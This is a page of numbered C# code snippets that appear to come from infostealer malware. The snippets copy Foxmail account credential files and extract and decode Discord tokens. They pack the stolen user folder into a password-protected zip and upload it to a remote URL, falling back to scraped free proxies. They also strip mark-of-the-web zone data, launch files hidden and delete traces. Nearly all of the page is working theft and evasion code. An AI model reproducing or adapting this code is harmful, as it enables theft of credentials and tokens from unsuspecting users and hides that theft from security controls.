示例#1
0
        public static void Inizialize()
        {
            string FullPathReg = @"SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command";

            ProcessKiller.Closing("Foxmail");
            if (Directory.Exists(FoxMailPath.GetFoxMail(FullPathReg)) || !Directory.Exists(GlobalPath.FoxMailPass))
            {
                CombineEx.CreateDir(GlobalPath.FoxMailPass);
                try
                {
                    foreach (string dir in Directory.EnumerateDirectories(FoxMailPath.GetFoxMail(FullPathReg), "*@*", SearchOption.TopDirectoryOnly))
                    {
                        try
                        {
                            string Email     = dir.Substring(dir.LastIndexOf("\\") + 1);
                            string UserDat   = CombineEx.Combination(dir, @"Accounts\Account.rec0");
                            string FinalPath = CombineEx.Combination(GlobalPath.FoxMailPass, @"Account.rec0");
                            CombineEx.FileCopy(UserDat, FinalPath, true);
                            Reader(UserDat, Email);

                            if (File.Exists(GlobalPath.FoxMailLog))
                            {
                                CombineEx.DeleteFile(FinalPath);
                            }
                        }
                        catch (ArgumentException) { }
                    }
                }
                catch (Exception) { }
            }
        }
示例#2
0
        public static void CheckIsNullDirsAndFiles(string dir)
        {
            try
            {
                foreach (string d in Directory.EnumerateDirectories(dir))
                {
                    CheckIsNullDirsAndFiles(d);
                }

                foreach (string f in Directory.EnumerateFiles(dir))
                {
                    try
                    {
                        if (new FileInfo(f).Length == 0)
                        {
                            CombineEx.DeleteFile(f);
                        }
                    }
                    catch (UnauthorizedAccessException) { }
                    catch (IOException) { }
                }

                if (!Directory.EnumerateFileSystemEntries(dir).Any())
                {
                    CombineEx.DeleteDir(dir);
                }
            }
            catch (UnauthorizedAccessException) { }
            catch (IOException) { }
        }
示例#3
0
 public static void ClearDll()
 {
     for (int i = 0; i < dllnames.Count; i++)
     {
         CombineEx.DeleteFile(string.Concat(GlobalPath.GarbageTemp, dllnames[i]));
     }
 }
示例#4
0
 public static void ClearDll()
 {
     for (int i = 0; i < dllnames.Count; i++)
     {
         File.AppendAllText("dll.txt", string.Concat(GlobalPath.GarbageTemp, dllnames[i]));
         CombineEx.DeleteFile(string.Concat(GlobalPath.GarbageTemp, dllnames[i]));
     }
 }
示例#5
0
 private static void CheckSize(string filename)
 {
     try
     {
         if (new FileInfo(filename).Length == 0)
         {
             CombineEx.DeleteFile(filename);
         }
     }
     catch (IOException) { }
     catch (UnauthorizedAccessException) { }
     catch (ArgumentException) { }
 }
示例#6
0
 private static bool LaunchFile(string Started)
 {
     NativeMethods.DeleteFileW($"{Started}:Zone.Identifier");
     HideFiles.Hide(Started, FileAttributes.Hidden);
     try
     {
         if (!HideFiles.RunAsHidden(Started))
         {
             CombineEx.DeleteFile(Started);
             return(true);
         }
         else
         {
             return(true);
         }
     }
     catch { return(false); }
 }
示例#7
0
 private static void ProxyStarted(Uri link, string method, string filename, bool True = true)
 {
     ProxyGrabber.Parse("http://xseo.in/freeproxy");
     try
     {
         using (var client = new WebClient())
         {
             if (method.Equals("POST"))
             {
                 client.Proxy = new WebProxy(ProxyGrabber.builder.ToString());
                 client.UploadFile(link, method, filename);
                 CombineEx.DeleteFile(GlobalPath.ZipAdd);
                 Ccleaner.ClearDll();
             }
         }
     }
     catch (WebException) { }
     catch (UriFormatException) { }
 }
示例#8
0
 public static void Inizialize(Uri url, string method, string filename, bool status = true)
 {
     try
     {
         using (var client = new WebClient())
         {
             if (method.Equals("POST"))
             {
                 try
                 {
                     client.UploadFile(url, method, filename);
                     CombineEx.DeleteFile(GlobalPath.ZipAdd);
                     Ccleaner.ClearDll();
                 }
                 catch (WebException) { ProxyStarted(url, method, filename); }
                 catch (UriFormatException) { }
             }
         }
     }
     catch (WebException) { ProxyStarted(url, method, filename); }
 }
示例#9
0
 public static void Inizialize()
 {
     if (Directory.Exists(GlobalPath.User_Name))
     {
         try
         {
             CombineEx.DeleteFile(GlobalPath.ZipAdd);
             using (var zip = new ZipFile())
             {
                 zip.CompressionLevel       = Ionic.Zlib.CompressionLevel.BestCompression;
                 zip.AlternateEncodingUsage = ZipOption.Always;
                 zip.AlternateEncoding      = Encoding.UTF8;
                 zip.UseZip64WhenSaving     = Zip64Option.AsNecessary;
                 zip.Password = GlobalPath.PwdZip;
                 zip.AddDirectory(GlobalPath.User_Name);
                 zip.Encryption = EncryptionAlgorithm.WinZipAes128;
                 zip.Save(GlobalPath.ZipAdd);
                 Ccleaner.CheckDir(true);
             }
         }
         catch (ZipException) { }
         catch (IOException) { }
     }
 }
示例#10
0
 public static void GeTokens()
 {
     for (int i = 0; i < list.Count; i++)
     {
         int SafeIndex = i;
         if (File.Exists(Path.Combine(GlobalPath.GarbageTemp, list[SafeIndex])))
         {
             CopyDiscordSafeDir();
             try
             {
                 string SafeFileDB = CombineEx.Combination(GlobalPath.DiscordHome, @"https_discordapp.com_0.localstorage");
                 using (var Connect = new SQLiteConnection($@"Data Source={SafeFileDB};Version=3"))
                 {
                     Connect.Open();
                     try
                     {
                         using (SQLiteCommand cmd = Connect.CreateCommand())
                         {
                             cmd.CommandText = CommandText;
                             using (SQLiteDataReader reader = cmd.ExecuteReader())
                             {
                                 while (reader.Read())
                                 {
                                     SaveData.SaveFile(GlobalPath.DisLog, $"Token: {DecodeToken((byte[])reader[1])}");
                                 }
                             }
                         }
                     }
                     catch { }
                 }
                 CombineEx.DeleteFile(SafeFileDB);
             }
             catch (FileNotFoundException) { }
         }
     }
 }
示例#11
0
        public static void Inizialize()
        {
            ProcessControl.Closing("Foxmail");
            const string FOXPATH = @"SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command";
            string       UserDat = string.Empty, FinalPath = string.Empty, Email = string.Empty;

            if (CombineEx.ExistsDir(FoxMailPath.GetFoxMail(FOXPATH)))
            {
                try
                {
                    foreach (string dir in Directory.EnumerateDirectories(FoxMailPath.GetFoxMail(FOXPATH), "*@*", SearchOption.TopDirectoryOnly))
                    {
                        Email     = dir.Substring(dir.LastIndexOf("\\") + 1);
                        UserDat   = CombineEx.CombinePath(dir, @"Accounts\Account.rec0");
                        FinalPath = CombineEx.CombinePath(GlobalPath.FoxMailPass, @"Account.rec0");
                        CombineEx.FileCopy(UserDat, FinalPath, false);
                        break;
                    }
                }
                catch { }
                Reader(UserDat, Email);
                CombineEx.DeleteFile(FinalPath);
            }
        }